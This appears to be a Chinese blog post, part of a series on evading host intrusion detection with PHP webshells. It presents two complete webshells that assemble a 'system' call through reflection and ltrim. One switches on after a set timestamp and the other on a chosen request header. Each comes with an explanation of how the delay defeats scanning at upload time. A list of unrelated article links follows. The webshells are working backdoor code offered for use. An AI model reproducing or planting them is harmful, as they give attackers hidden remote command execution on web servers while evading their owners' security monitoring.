当前位置: 首页 > backend >正文

WEB安全--RCE--webshell HIDS bypass4

继WEB安全--RCE--webshell HIDS bypass3的补充:

十三、时间开关

webshell:

<?php
ini_set("display_errors",1);
function foo($test, $bar = FSYSTEM)
{echo $test . $bar;
}
$function = new ReflectionFunction('foo');
$q = new ParseError($_GET[a]);
foreach ($function->getParameters() as $param) {$da = new DateTime();echo $da->getTimestamp();echo 'Name: ' . $param->getName() . PHP_EOL;$n='F';if ($param->isOptional()) {if($da->getTimestamp()>=1725329100||$n='1'){echo $n;}echo 'Default value: ' . ltrim($param->getDefaultValueConstantName(),$n)($q->getMessage());}echo PHP_EOL;
}
?>

原理:

核心位置

$n='F' 
if($da->getTimestamp()>=1725329100||$n='1'){echo $n;}

或运算符“||”也叫短路运算符,当前者成立就不会再判断后者了

我们回过头来看$da->getTimestamp()>=1725329100||$n='1' ,当$da->getTimestamp()>=1725329100为假,$n='1'就会执行赋值的操作,这时$n的值就由'F'变为'1',但是当$da->getTimestamp()>=1725329100为真,那么就不会执行$n='1'的操作,$n='F'的值就不变了。

我们的核心思想是:在上传webshell给hids检测时$da->getTimestamp()>=1725329100这个条件是假的,当然就不会被查杀,但是过了一段时间这个条件就为真了,我们这个时候访问webshell就能执行命令了。

function foo($test, $bar = FSYSTEM)
{echo $test . $bar;
}
$function = new ReflectionFunction('foo');

创建一个函数传递内容,再用反射获取该函数

foreach ($function->getParameters() as $param) 

遍历取出内容

$param->getDefaultValueConstantName()

这里的参数为FSYSTEM

ltrim($param->getDefaultValueConstantName(),$n)

此时满足时间条件,$n='F',ltrim从参数的默认值常量名中去掉前导的$n,也就是说FSYSTEM会变成SYSTEM,就能构成命令执行

十四、随机开关

webshell:

<?php
ini_set("display_errors",1);
function foo($test, $bar = FSYSTEM)
{echo $test . $bar;
}
$function = new ReflectionFunction('foo');
$q = new ParseError($_GET[a]);
$p = new ParseError($_SERVER[HTTP_A]);
foreach ($function->getParameters() as $param) {$da = new DateTime();echo $da->getTimestamp();echo 'Name: ' . $param->getName() . PHP_EOL;$n='F';if ($param->isOptional()) {if(mt_rand(55,$p->getMessage()??100)==55||$n='1'){echo $n;}echo 'Default value: ' . 
ltrim($param->getDefaultValueConstantName(),$n)($q->getMessage());}echo PHP_EOL;
}
?>

原理:

大致原理和时间开关相同。

核心位置

$p = new ParseError($_SERVER[HTTP_A]);
$n='F';
if(mt_rand(55,$p->getMessage()??100)==55||$n='1'){echo $n;}

$p->getMessage()??100:指如果前者有值就取前者,反之取后者的值

mt_rand(1,10):在1-10的闭区间随机取一个值

思考:如果在ParseError()中传入55,那么$p->getMessage()的值就是55,也就是说mt_rand(55,55) ==>55,if(55==55 || $n='1')第一个条件为真就不会进行$n='1'的操作,$n='F',就能截取FSYSTEM中的F了。

http://www.xdnf.cn/news/9332.html

相关文章:

  • PostgreSQL auto_explain
  • Unity3D中Mono与IL2CPP对比
  • 使用mermaid快速绘制流程图
  • 3D Tiles高级样式设置与条件渲染(3)
  • 50多种垃圾类型都能清理Wise便携版:系统临时文件 /浏览器缓存秒清理
  • 利用亮数据实现大规模数据自动抓取
  • 项目部署react经历
  • IDEA使用Git进行commit提交到本地git空间后撤回到commit版本之前
  • 本地jar包发布到maven远端
  • Vue 3.0 自定义 Composition API 管理状态
  • 银发团扎堆本地游,“微度假”模式如何盘活银发旅游市场?
  • 医疗HMI设计规范解读:如何平衡合规性与用户体验?
  • Sweet Snippet 之 指数函数优化
  • Spring AI 本地Ollama
  • 嵌入式Linux快速入门第1~2章
  • Selenium 测试框架 - Ruby
  • el-table设置自定义css
  • C语言数组遍历的方法(包含二维数组)
  • 如何构建一个高效的 iOS 应用日志体系?从开发调试到使用KeyMob上线排查的实践经验
  • vmvare 虚拟机内存不足
  • npm/yarn/pnpm安装时Sharp模块报错解决方法
  • 商品条形码查询接口如何用C#进行调用?
  • 001 flutter学习的注意事项及前期准备
  • leetcode hot100刷题日记——20.爬楼梯
  • Ubuntu实现和主机的复制粘贴 VMware-Tools(open-vm-tools)
  • pikachu靶场通关笔记04-暴力破解之Token绕过
  • 阿里云云网络论文:Nezha,计算网络解耦下的vSwitch池化架构
  • 大模型(6)——语义分割
  • 人工智能模型方面有哪些优化措施,可以提升模型的准确率
  • Java 反射机制深度解析:从原理到实战应用